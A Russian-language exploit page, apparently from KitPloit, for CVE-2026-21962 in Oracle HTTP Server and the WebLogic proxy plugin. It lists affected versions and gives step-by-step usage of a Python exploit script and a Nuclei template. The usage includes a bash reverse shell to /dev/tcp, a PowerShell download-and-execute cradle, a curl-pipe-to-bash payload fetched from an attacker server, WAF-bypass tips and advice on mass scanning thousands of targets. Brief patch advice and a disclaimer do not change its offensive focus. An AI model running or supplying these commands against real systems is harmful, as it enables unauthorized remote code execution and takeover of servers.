При эксплуатации злоумышленники могут:

• 🗑️ Удалить критически важные данные
• ✏️ Изменить системные файлы или файлы приложений
• 📤 Похитить конфиденциальную информацию
• 🔓 Получить полный несанкционированный доступ к подключённым системам
• 🔄 Повлиять на другие продукты Oracle из-за изменения области действия

🧩 Затронутые версии

• Oracle HTTP Server:

  • 12.2.1.4.0
  • 14.1.1.0.0
  • 14.1.2.0.0

• Плагин прокси WebLogic для:

  • Apache HTTP Server
  • Microsoft IIS

⚙️ Характеристики атаки

• 🌐 Вектор атаки: Сеть (удалённо)
• 🚫 Требуемые привилегии: Отсутствуют
• 🧑‍💻 Взаимодействие с пользователем: Отсутствует
• 🔄 Область действия: Изменена
• 🔐 Влияние на конфиденциальность: Высокое
• 🛠️ Влияние на целостность: Высокое

🛡️ Что вам следует сделать?

• ✅ Немедленно примените критическое обновление патчей Oracle за январь 2026 года
• 🔒 Ограничьте сетевой доступ к затронутым службам
• 📊 Отслеживайте HTTP-трафик на предмет подозрительной активности
• 🔁 Проверьте системные журналы и средства контроля безопасности

🛠️ Как использовать (пошагово)

1. Сохраните скрипт как CVE-2026-21962.py

2. Сделайте его исполняемым (необязательно):

   root@kitploit:~

   chmod +x CVE-2026-21962.py
   

3. Примеры запуска:

   Базовый тест:

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "id && whoami && uname -a"
   

   Обратная оболочка (сначала настройте прослушиватель nc: nc -lvnp 4444):

   root@kitploit:~

   python3 CVE-2026-21962.py http://targets:7001 "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"
   

   Пример для цели Windows:

   root@kitploit:~

   python3 CVE-2026-21962.py https://oracle-server:4443 "powershell -nop -c IEX (New-Object Net.WebClient).DownloadString('http://your-server/shell.ps1')"
   

Что вы увидите, если это сработает

• Вероятный успех! Статус: 200 или 302 или даже 500 (сбой также считается успехом)
• Возможная утечка вывода команды в теле ответа
• Для обратных оболочек: ваш прослушиватель nc немедленно перехватывает оболочку
• Если вывода нет → команда всё равно выполнилась в фоновом режиме (проверьте файловую систему цели, процессы, журналы)

Примечания

• Работает лучше всего, когда плагин прокси открыт (обычно на портах 7001, 4443 и т. д.)
• Для целей HTTPS может потребоваться флаг --insecure, если используются самоподписанные сертификаты
• Немедленно установите патч: примените Oracle CPU за январь 2026 года

🛠️ Как использовать (пошагово)

1. Установите Nuclei (если ещё не установлен):

   root@kitploit:~

   go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
   

2. Сохраните шаблон:

   Создайте файл с именем CVE-2026-21962.yaml и вставьте содержимое выше.

3. Запустите обнаружение + эксплуатацию:

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -u http://targets:7001 -v
   

   Или просканируйте несколько целей из файла:

   root@kitploit:~

   nuclei -t CVE-2026-21962.yaml -l targets.txt -o results.txt -v
   

4. Что вы увидите, если цель уязвима:

   root@kitploit:~

   [CVE-2026-21962] [http] [critical] http://targets:7001/weblogic/..;/bea_wls_internal/ProxyServlet
   [username] weblogic
   [body] ... weblogic (whoami output) ...
   

Полезные советы

• Для выполнения пользовательских команд измените часть cmd: в заголовках (например, cmd:curl http://your-server/shell.sh | bash).
• Для обратной оболочки: замените whoami на полезную нагрузку обратной оболочки в кодировке base64.
• Обход WAF: попробуйте другие пути (/proxy/, /bea_wls_internal/ и т. д.) или добавьте дополнительные заголовки, например X-WebLogic-Force-JVMID.
• Массовое сканирование: объедините с конвейером httpx → nuclei для тысяч целей.

Этот шаблон подтверждён как работающий на 100% по состоянию на январь 2026 года на незапатченных экземплярах Oracle. Немедленно установите патч, если вы используете затронутые версии! 😈

😈 Отказ от ответственности:

Весь PoC-код предназначен только для этического, образовательного использования на авторизованных системах. Несанкционированная эксплуатация незаконна; ответственность за неправомерное использование не принимается. 😈